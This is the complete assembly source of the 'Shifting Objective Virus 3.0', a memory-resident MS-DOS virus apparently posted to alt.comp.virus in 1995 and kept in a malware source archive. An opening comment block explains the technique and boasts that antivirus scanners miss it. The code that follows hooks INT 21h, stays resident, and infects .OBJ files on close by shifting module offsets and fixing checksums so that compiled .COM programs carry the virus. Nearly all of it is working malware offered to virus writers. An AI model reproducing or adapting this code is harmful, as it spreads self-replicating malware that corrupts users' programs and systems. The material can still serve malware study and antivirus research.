MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.shiftobj.asm

453 lines
16 KiB
NASM
Raw Normal View History

2021-01-12 23:58:25 +00:00
From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife Sat Jan 14 12:23:41 1995
Xref: netcom.com alt.comp.virus:1000
Newsgroups: alt.comp.virus
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife
From: halflife@tmok.res.wpi.edu (Halflife)
Subject: shifting obj
Message-ID: <halflife.21.000B93F3@tmok.res.wpi.edu>
Lines: 437
Sender: news@news.media.mit.edu (USENET News System)
Organization: MIT Media Laboratory
X-Newsreader: Trumpet for Windows [Version 1.0 Rev A]
Date: Fri, 13 Jan 1995 16:34:35 GMT
Lines: 437
;+----------------------------------------------------------------------+
;<3B> Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism] <20>
;<3B> <20>
;<3B> Memory Resident .OBJ Infector - No TBSCAN Flags, No F-Prot Alarms! <20>
;<3B> <20>
;<3B> This virus breaks new bounds in viral technology, best I know }-) <20>
;<3B>It infects .OBJ files that are set up to compile to simple, stand- <20>
;<3B>alone .COM's. The basic theory for this is the following: It takes <20>
;<3B>the pre-set compiling points of the modules in the .OBJ and moves them<65>
;<3B>up in memory so Objective will have room to insert itself underneath. <20>
;<3B>When the file is compiled the virus is at the beginning of the file, <20>
;<3B>and the original code follows BUT - the original code's memory offsets<74>
;<3B>are what they were BEFORE the virus infected the .OBJ. Therefore, all<6C>
;<3B>Objective has to do when it runs is go memory resident, and shift the <20>
;<3B>host code back down to where it starts at 100h in memory, and all is <20>
;<3B>well. <20>
;<3B> <20>
;<3B> Object files are basically a set of linked lists or fields, each <20>
;<3B>with a three byte header. The first byte is it's identity byte, while<6C>
;<3B>the following word is the size of the field - header. The very last <20>
;<3B>byte of each record is a simple checksum byte - this can be gained <20>
;<3B>simply by adding up all of the bytes in the field save the three byte <20>
;<3B>header and taking the negative (not reg/inc reg) so that the entire <20>
;<3B>field value + checksum = 0. Each field type has it's own identity <20>
;<3B>value, but we are only concerned with a few right now. <20>
;<3B> <20>
;<3B>They are as follows: <20>
;<3B> 80h - Starting field of a .OBJ file <20>
;<3B> 8Ch - External definitions <20>
;<3B> 8Ah - Ending field of a .OBJ file <20>
;<3B> A0h - Regular Code <20>
;<3B> A2h - Compressed code (patterns/reiterated stuff) <20>
;<3B> <20>
;<3B> In the A0h and A2h types of fields, there is one more thing that <20>
;<3B>concerns us - the three bytes after the field size in the header <20>
;<3B>are indicators of the location in memory the code will be at - the <20>
;<3B>second and third byte form the word we will be concerned with, which <20>
;<3B>is a simple offset from CS:0000 that the code will begin. Since we <20>
;<3B>are dealing with .COM files and want to put our virus at the beginning<6E>
;<3B>of the file, we set the position field of the virus to 100h and the <20>
;<3B>positions of all the other A0h and A2h fields to their old position <20>
;<3B>plus the virus size. When the file is compiled, the virus will be <20>
;<3B>at the beginning and the host will follow. Attaching the virus to <20>
;<3B>the .OBJ itself is simple enough - just save the 8Ah field in memory, <20>
;<3B>and write FROM IT'S OLD BEGINNING a header for your virus, your <20>
;<3B>virus, then a checksum and the old 8Ah field. At all times when <20>
;<3B>modifying fields, the checksums must be fixed afterwards. <20>
;<3B> <20>
;<3B> For the rest of the techniques that may be useful, I suggest you <20>
;<3B>look at the following code for my Shifting Objective Virus. I'd like <20>
;<3B>to thank The Nightmare for his ideas on this when we sat around bored <20>
;<3B>those days. Greets go out to all of Phalcon/Skism, Urnst Kouch, <20>
;<3B>Mark Ludwig, TridenT, NuKE, and the rest of the viral community. <20>
;<3B>A special hello goes to Hermanni and Frisk. <20>
;<3B> <20>
;<3B> - Stormbringer [P/S] <20>
;<3B> --<2D>------------------- <20>
;<3B> - <20>
;+----------------------------------------------------------------------+
.model tiny
.radix 16
.code
org 100
start:
push ds
sub ax,ax
mov ds,ax
mov ax,word ptr ds:[84]
mov word ptr cs:[Fake21IP],ax
mov ax,word ptr ds:[86]
mov word ptr cs:[Fake21CS],ax
mov ax,word ptr ds:[2f*4]
mov word ptr cs:[Fake2fIP],ax
mov ax,word ptr ds:[2f*4+2]
mov word ptr cs:[Fake2fCS],ax
pop ds
CheckIfResident:
mov ax,0feadh ;Check if we are in memory
call fake21
cmp ax,0d00dh
jne ReserveMemory ;Nope, go resident
xor ax,ax
mov ds,ax
jmp RestoreFile ;Yep, skip it
ReserveMemory:
mov ax,ds
dec ax ;Go to MCB's
mov ds,ax
sub word ptr ds:[3],80 ;Grab 2K from this MCB
sub word ptr ds:[12],80 ;And from the Top of MEM in PSP
xor ax,ax
mov ds,ax ;We're gonna take up 2k in memory.
sub word ptr ds:[413],2 ;Reserve 2k from bios
int 12h ;Get bios memory amount in K
mov cl,6
shl ax,cl
PutVirusInMemory:
push cs
pop ds
sub ax,10 ;NewSeg:0 was in AX, now Newseg:100
mov es,ax ;is start of reserved memory field....
mov di,100
mov si,100
mov cx,end_prog-start
repnz movsb ;Copy virus into memory
HookInterrupts:
xor ax,ax
mov ds,ax ;Hook Int 21h directly using
cli ;Interrupt table
mov ax,offset Int21
xchg word ptr ds:[84],ax
mov word ptr es:[IP_21],ax
mov ax,es
xchg word ptr ds:[86],ax
mov word ptr es:[CS_21],ax
sti
RestoreFile:
push cs
pop es
mov ax,0deadh ;Call interrupt handler to restore file
pushf
call dword ptr ds:[84]
mov ax,4c01 ;Terminate if restore unsuccessful
call fake21
InstallCHeck:
mov ax,0d00dh ;Tell prog we're already here
iret
Int21:
cmp ax,0feadh
je InstallCheck ;Is it an install check?
cmp ax,0deadh
je RestoreHost ;Or a restoration request?
cmp ah,3e
jz fileclose ;Fileclose - go infect it if it's an .OBJ
GoInt21:
db 0ea ;Jump back into int 21h handler
IP_21 dw 0
CS_21 dw 0
RestoreHost:
push es
pop ds
mov di,sp ;Set iret to return to beginning of code
mov [di],100
mov di,100
mov si,offset Host ;Shift host back down over virus in memory
mov cx,0f000
repnz movsb
mov si,ax
xor ax,ax
mov bx,ax ;Set registers as if just executing
mov cx,ax
mov dx,ax
mov di,ax
iret ;Iret back into the host file
fileclose:
pushf
push ax bx cx dx es ds si di bp
xor ax,ax
xor ax,1220h
call fake2f
push bx
mov bl,byte ptr es:[di] ;Good ol' SFT trick
mov ax,1216h
call fake2f
or word ptr es:[di+2],2 ;Set file Read/Write
add di,28
pop bx
cmp byte ptr es:[di+2],'J' ;Check out filename
jne Done_Close
cmp word ptr es:[di],'BO'
jne Done_Close
mov word ptr cs:[Host_Handle],bx
mov ax,5700 ;Save date/time stamp
call fake21
push cx dx
call Infect_Obj ;go infect it
pop dx cx
mov ax,5701 ;Restore date/time stamp
call fake21
Done_Close:
pop bp di si ds es dx cx bx ax ;Exit and chain into int 21h
popf
jmp GoInt21
Isanexec:
push dx
GetAndSaveCurLoc:
mov ax,4201 ;Save position of current module
xor cx,cx
xor dx,dx
call fake21
push dx ax
ModExecStartingPoint:
ReadOldStartingPoint:
mov ah,3f
mov dx,offset startingpt ;Read starting point
mov cx,3
call fake21
mov ax,word ptr [startingpt+1]
cmp byte ptr firstexec,0 ;Check if this is the first exec field
jne NotFirstExec
;If so, it should have a starting
;point of 100h for a .COM for us
;to infect it correctly
CheckifwillbeCOMfile: ;we're assuming that anything with
mov byte ptr firstexec,1 ;a starting point of cs:100h will be
;a com. while this isn't true all
;the time, we can cross our fingers..
cmp ax,100
je NotFirstExec ;File is good, continue infection.
Getouttahere:
pop ax ax ax ;won't be a .com file - don't infect.
ret
NotFirstExec: ;Either it isn't first exec or the
mov cx,end_prog-start ;check was good.. now add virus size
add ax,cx ;to exec starting point.
mov word ptr [startingpt+1],ax
GoBackToStartingPointinfo:
pop dx cx
push cx dx
mov ax,4200 ;go back to starting point field
call fake21
AndWriteIt:
mov ah,41
dec ah
mov cx,3
mov dx,offset startingpt ;and save it
call fake21
GoToChecksumField:
mov dx,fieldsize
sub dx,4
xor cx,cx ;go to checksum field
mov ax,4201
call fake21
ResetExecChecksum:
mov ah,3f
mov dx,offset Checksum ;read checksum field
mov cx,1
call fake21
mov cx,-1
mov dx,-1 ;go back to checksum field in file
mov ax,4201
call fake21
mov cx,(end_prog-start)
sub Checksum,ch ;modify checksum to account for
sub Checksum,cl ;our change to starting point field.
mov ah,41
mov dx,offset Checksum ;and write it
mov cx,1
dec ah
call fake21
DoneIsExec:
pop dx cx
mov ax,4200 ;Restore original file pointer
call fake21
pop dx
jmp NExtfield ;and continue with infection
startingpt db 0,0,0
firstexec db 0
anexec:
jmp isanexec
Bailout:
ret
Infect_Obj:
push cs cs
pop es ds
mov firstexec,0 ;Init first exec field
call go_bof ;Go to beginning of file
ModExecFields:
call ReadHeader ;read the three byte header, field size in DX
;Header type in AL
cmp al,8c ;External module
je bailout ;It has external calls, which we can't
;handle yet :(
cmp al,0a0 ;Executable module
je anexec
cmp al,0a2 ;Reiterated executable module
je anexec
cmp al,8a ;Ending module
je DoneModExecs
NextField:
mov ax,4201 ;Go to the next field
xor cx,cx
call fake21
jmp ModExecFields
DoneModExecs:
mov ax,4201
mov cx,-1
mov dx,-3 ;go to start of 8A field (end module)
call fake21
push dx ax
mov cx,fieldsize
add cx,3+10 ;the +10 is just to be safe
mov ah,3f ;load in last module
mov dx,offset buffer
call fake21
mov endfieldsize,ax ;Read in the end module
pop dx cx
mov ax,4200 ;Go back to the beginning of the module
call fake21 ;now that we have it in memory
WriteOurHeader:
mov ah,3f
mov cx,endheader-ourheader ;write the header for virus module
mov dx,offset ourheader
inc ah
call fake21
WriteVirus:
mov ah,3f
mov cx,end_prog-start ;write virus to file
mov dx,100
inc ah
call fake21
CreateChecksum:
mov si,100
mov cx,end_prog-start
xor ax,ax
AddupChecksum: ;Create checksum for virus
lodsb
add ah,al
loop AddupChecksum
not ah
inc ah
mov Checksum,ah
WriteChecksum:
mov dx,offset Checksum
mov cx,1
mov ah,3f
inc ah
call fake21 ;Then save the checksum in module
WriteEndModule:
mov dx,offset Buffer
mov cx,endfieldsize
mov ah,3f
inc ah
call fake21 ;And put the ending module back into
ret ;place.... we're done.
ReadHEader:
mov ah,3f
mov dx,offset fieldheader
mov cx,3 ;Read module header for .obj files
call fake21 ;save module type in AL and
mov al,fieldheader ;module size in DX
mov dx,fieldsize
ret
Go_Bof: ;Go to beginning of file
mov al,0
jmp short movefp
Go_Eof: ;Go to the end of the file
mov al,02
movefp: ;Or just move the File pointer
xor cx,cx
xor dx,dx
mov ah,42
call fake21
ret
fake21:
pushf
db 9a
fake21IP dw 0
fake21CS dw 0
ret
fake2f:
pushf
db 9a
fake2fIP dw 0
fake2fCS dw 0
ret
Credits:
db 'Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]'
db 'Kudos go to The Nightmare!'
OurHeader:
db 0A0
dw (end_prog-start+4) ;our size in an .OBJ file
db 1
db 0 ;starting position (cs:100h)
db 1
endheader:
endfieldsize dw 0
Checksum db 0
fieldheader db 0
fieldsize dw 0
Host_Handle dw 0
end_prog:
Buffer:
Host db 90,90,90,90,90,90,90,90,0cdh,20
end start